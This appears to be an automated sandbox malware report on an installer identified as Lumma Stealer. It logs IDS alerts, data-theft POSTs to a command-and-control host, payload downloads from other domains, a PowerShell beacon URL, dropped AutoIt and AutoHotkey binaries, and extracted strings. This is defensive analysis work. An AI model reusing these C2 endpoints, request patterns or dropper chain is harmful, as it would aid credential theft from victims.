Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 188.114.97.3:443

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.208.58:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 172.67.208.58:443 -> 192.168.2.4:49746

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=P42F5MJ95V3HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18128Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=75EDSWO4ET1Q368User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8767Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ENY7OWDPKHNPPCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20414Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NLMH7VOKRMT8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 945Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8VPPJ2DRBEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1080Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 115Host: grubbytellek.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: NMPmQUQWWGDRMDKc.NMPmQUQWWGDRMDKc
Source: global traffic	DNS traffic detected: DNS query: grubbytellek.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grubbytellek.click

Source: installer_1.05_36.7.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: installer_1.05_36.7.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Peas.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Peas.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Peas.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Peas.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Peas.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: installer_1.05_36.7.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: installer_1.05_36.7.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: powershell.exe, 00000011.00000002.1975939792.00000000052C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: BrightLib.exe, 00000031.00000002.2472266952.00000000031E0000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.2472896767.0000000006154000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000000.2438868978.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.2470981892.000000000013E000.00000004.00000020.00020000.00000000.sdmp, is-U83DO.tmp.22.dr	String found in binary or memory: http://michaeluno.jp/
Source: BrightLib.exe, 00000031.00000002.2472266952.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/4
Source: installer_1.05_36.7.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: installer_1.05_36.7.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: installer_1.05_36.7.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: installer_1.05_36.7.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Peas.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Peas.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Peas.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Peas.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000011.00000002.1975939792.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Peas.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Peas.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: BrightLib.exe, 00000031.00000002.2471238742.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000000.2438823100.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-U83DO.tmp.22.dr	String found in binary or memory: http://www.autohotkey.com
Source: BrightLib.exe, 00000031.00000002.2471238742.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000000.2438823100.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-U83DO.tmp.22.dr	String found in binary or memory: http://www.autohotkey.comCould
Source: Peas.com, 0000000C.00000000.1703093733.0000000000345000.00000002.00000001.01000000.00000006.sdmp, Peas.com.1.dr, Appearance.8.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: installer_1.05_36.7.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: BrightLib.exe, 00000031.00000002.2494418972.0000000039E6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: powershell.exe, 00000011.00000002.1981711579.00000000084A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000011.00000002.1975939792.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBfq
Source: powershell.exe, 00000011.00000002.1975939792.0000000005034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000011.00000002.1975327372.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: powershell.exe, 00000011.00000002.1975939792.0000000004F56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.1975939792.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org/
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000000.2021782715.0000000000B51000.00000020.00000001.01000000.00000009.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe.12.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000011.00000002.1978063815.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: Peas.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2038980763.0000000003460000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000003.2045380643.0000000002500000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000003.2497508353.0000000002620000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: Peas.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2033370292.000000007F92B000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2026053688.000000000319F000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000000.2036080268.0000000000081000.00000020.00000001.01000000.0000000A.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000000.2051964684.000000000044D000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2033370292.000000007F92B000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe, 00000013.00000003.2026053688.000000000319F000.00000004.00001000.00020000.00000000.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000014.00000000.2036080268.0000000000081000.00000020.00000001.01000000.0000000A.sdmp, P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp, 00000016.00000000.2051964684.000000000044D000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	File created: C:\Windows\PornoOdd	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	File created: C:\Windows\TurboSubsection	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	File created: C:\Windows\ForbiddenDescriptions	Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_02F31345	17_2_02F31345

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: String function: 004062A3 appears 57 times

Source: installer_1.05_36.7.exe

Static PE information: invalid certificate

